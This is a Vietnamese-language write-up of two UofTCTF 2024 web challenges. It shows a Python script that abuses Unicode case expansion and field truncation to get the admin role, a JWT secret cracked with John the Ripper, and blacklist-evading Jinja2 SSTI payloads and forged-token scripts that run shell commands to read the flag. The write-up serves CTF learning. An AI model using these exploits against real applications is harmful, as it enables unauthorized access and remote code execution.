UofTCTF 2024 - webx2 (hard)
WEB challs
Jay’s Bank - 499 point
Description
My bank is still in pre-alpha-alpha-alpha stage, but I'm sure it's secure enough to keep all of your information safe.
Author: SteakEnthusiast
http://34.123.200.191/
source code here
Solution
Giao diện trang web cung cấp như sau:
Vì challenge này cung cấp source code nên ta sẽ thực hiện review source trước.
Trong CTF/uoftctf/jays-bank/routes/index.js
Đọc đoạn code sau có thể thấy để có thể lấy được FLAG ta cần một tài khoản với role:admin
Nhưng mặc định, khi người dùng thực hiện update profile sẽ add thêm một role:user
Kiểm tra trong database
Phân tích một chút trong hàm router.put("/profile", jwtAuth, async (req, res)
trong index.js
Lỗ hổng trong thử thách này xuất phát từ vị trí này
app thực hiện lấy các thông tin username, phone, credit_card, secret_question, secret_answer
và add thêm một role:user
. Trong đó gọi tới hai hàm updateData
để cập nhật data user vào database
và hàm convert
nhận vào một đối tượng (object) o
và trả về một chuỗi JSON được tạo ra từ các cặp khóa-giá trị của đối tượng đó
convert(o) {
return `{${Object.entries(o).map(([k, v]) =>
`"${k}": ${typeof v === "object" && v !== null ? convert(v) : `"${v}"`}`
).join(", ")}}`.toLowerCase();
}
Cuối cùng hàm thực hiện chuyển kết quả json về dạng LowerCase() trả về một khối data
và update data này cho user trong database.
Trong file init.sql
định nghĩa độ dài tối đa cho trường data này là 255
.
Ý tưởng khai thác:
-
Các trường
secret_answer
vàrole: "user"
được insert gần nhau, trong đó trường secret_answer có khả năng kiểm soát. Để khai thác thành công, chúng ta cần chèn một chuỗi secret_answer đủ dài vừa đủ để chèn được role mới và xóa bỏ role:user cũ , từ đó ghi đè lên một trường role khác với giá trị làadmin
. -
Trước đó,
secret_answer
vàsecret_question
cũng phải vượt qua các điều kiện check sao cho không vượt quá 45 ký tự bằng cách sử dụng các ký tự Unicode đặc biệt nhưİ
có thể làm tăng kích thước khi đi qua hàmtoLowerCase()
Có một số ký tự đặc biệt trong JavaScript
Đối với toUpperCase():
Các ký tự “ı” và “ſ” được toUpperCase xử lý và kết quả là “I” và “S”
Đối với toLowerCase():
Ký tự “K” được toLowerCase xử lý và kết quả là “k” (K này không phải là K)
Script
import requests
url = "http://127.0.0.1:3000/"
session = requests.session()
session.post(url + 'register', json={"password": "Abc@123!@#", "username": "abc9092909078"})
session.post(url + 'login', json={"username":"abc9092909078","password":"Abc@123!@#"})
session.put(url + 'profile', json={"phone":"1234567890","credit_card":"1234567890987654","secret_question":"İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ","secret_answer":"İİİİİİİİİİİİİİİİİİİİİİİİ\",\"role\":\"admin\"}","current_password":"Abc@123!@#"})
res = session.get(url + 'dashboard')
print(res.text)
Result:
|_>kali: python 1.py
<!DOCTYPE html>
<html>
<head>
<title>Dashboard - Jay's Bank</title>
<link rel="stylesheet" href="/css/dashboard.css">
</head>
<body>
<div class="container">
<nav>
<ul>
<li><a href="/">Home</a></li>
<li><a href="/profile">Edit Profile</a></li>
<li><a href="/logout">Logout</a></li>
</ul>
</nav>
<h1>Welcome, abc9092909078</h1>
<p>Your phone number: 1234567890</p>
<p>Your credit card (last 4 digits): 7654</p>
<p>Since you're the admin, here is your flag: uoftctf{fake_flag}</p>
</div>
</body>
</html>
My First App - 494 point
Description
I'm not much of a web developer, so my friends advised me to pay for a very expensive firewall to keep my first app secure from pesky hackers. Come check it out!
Author: SteakEnthusiast
https://uoftctf-my-first-app.chals.io/
Solution
Jinja2 SSTI in jwt token
Create user
Thử chèn payload ngay từ khi tạo người dùng
Using join
để creak jwt tìm secret key
└─$ john john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
torontobluejays (?)
1g 0:00:00:00 DONE (2024-01-18 22:54) 4.166g/s 13107Kp/s 13107Kc/s 13107KC/s totohot1..tomaatti1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Sử dụng secret key chèn một một payload mới {{3*3}}
Result
Tuy nhiên, blacklist khá chặt nhưng vẫn có thể sử dụng được các request và string để crete payload.
Thử sử dụng request để gọi một tham số từ parameter {{request|attr(request.headers.c)}}
Bị block.
Tra tài liệu về flask request để tìm một số subclass khác.
https://tedboy.github.io/flask/generated/generated/flask.Request.html
nhận thấy một số subclass như authorization
, pragma
, referrer
… không bị block
Lấy một payload gốc tại đây: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md
ví dụ: {{lipsum.__globals__["os"].popen('id').read()}}
tạo một payload sử dụng request để gọi data từ http header về xử lý
{{lipsum|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))(request.referrer.split().pop(2))|attr(request.referrer.split().pop(3))(request.referrer.split().pop(4))|attr(request.referrer.split().pop(5))()}}
chèn payload vào thẻ referrer
hoặc pragma
, …
Referer: __globals__ __getitem__ os popen cat<flag.txt read
flag: uoftctf{That_firewall_salesperson_scammed_me_:(}
một cách khác sử dụng nối chuỗi: {{()|attr((request|string).17~(request|string).18}}
Tham khảo writeup:
from @steakenthusiast
{{(((((((2 | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(0)))) |attr((request | attr(request.referrer)).get(request.referrer | attr(request.pragma)(0)))() | attr(request.pragma)(1) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(1)))() | attr(request.pragma)(239) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(2))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(3)))).get((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(4))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(5))) ).get((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(6))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(7)))))((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(8)))) | attr((request | attr(request.referrer)).get((request.mimetype | attr(request.pragma))(9))))()}}
GET /dashboard HTTP/1.1
Host: 127.0.0.1:1337
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Int7KCgoKCgoKDIgfCBhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDApKSkpIHxhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KHJlcXVlc3QucmVmZXJyZXIgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSgwKSkpKCkgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSgxKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMSkpKSgpIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkoMjM5KSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMikpKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoMykpKSkuZ2V0KChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDQpKSkgfCBhdHRyKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDUpKSkgKS5nZXQoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoNikpKSB8IGF0dHIoKHJlcXVlc3QgfCBhdHRyKHJlcXVlc3QucmVmZXJyZXIpKS5nZXQoKHJlcXVlc3QubWltZXR5cGUgfCBhdHRyKHJlcXVlc3QucHJhZ21hKSkoNykpKSkpKChyZXF1ZXN0IHwgYXR0cihyZXF1ZXN0LnJlZmVycmVyKSkuZ2V0KChyZXF1ZXN0Lm1pbWV0eXBlIHwgYXR0cihyZXF1ZXN0LnByYWdtYSkpKDgpKSkpIHwgYXR0cigocmVxdWVzdCB8IGF0dHIocmVxdWVzdC5yZWZlcnJlcikpLmdldCgocmVxdWVzdC5taW1ldHlwZSB8IGF0dHIocmVxdWVzdC5wcmFnbWEpKSg5KSkpKSgpfX0ifQ.WOuqHapUXNcwWl7qGvleiDJkpoBUwSCMggc3wUGbIps
Pragma: __getitem__
Content-Type: 0123456789
Referer: headers
h: mro
0: __class__
1: __subclasses__
2: __init__
3: __globals__
4: sys
5: modules
6: os
7: popen
8: cat flag.txt
9: read
Content-Length: 0
from spencerpogo
import requests
import sys
import json
from base64 import b64encode, urlsafe_b64encode
import hmac
from lxml import html
header = b"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
jwt_secret = b"torontobluejays"
def jwt_b64e(data: bytes) -> bytes:
return urlsafe_b64encode(data).rstrip(b"=")
def gen_jwt(payload):
payload_enc = json.dumps(payload).encode()
payload_b64 = jwt_b64e(payload_enc)
msg = header + b"." + payload_b64
sig = jwt_b64e(hmac.digest(jwt_secret, msg, "sha256"))
return (msg + b"." + sig).decode()
def test_payload(payload):
jwt = gen_jwt({"username": payload})
r = requests.get(
"https://uoftctf-my-first-app.chals.io/dashboard",
cookies={"auth_token": jwt},
headers={
"Referer":"__globals__",
"Content-Type":"__getitem__",
"Authorization": "Basic " + b64encode(b"popen:cat flag.txt").decode(),
}
)
r.raise_for_status()
root = html.fromstring(r.content)
container = root.xpath("//div[@class='form-container']")[0]
print("\n".join(l.strip() for l in container.text_content().strip().split("\n")))
print()
print(html.tostring(container).decode())
def gen_payload():
#templ = f"request.mimetype|string"
r_globals = "(lipsum|attr(request.referrer))"
os_str = f"{r_globals}|batch(7)|min|batch(4)|max|min|string"
os_module = f"({r_globals}|attr(request.mimetype))({os_str})"
templ = f"({os_module}|attr(request.authorization.username))(request.authorization.password).read()|string"
return "{{" + templ + "}}"
if __name__ == "__main__":
payload = gen_payload()
print(json.dumps(payload))
print()
test_payload(payload)
Comments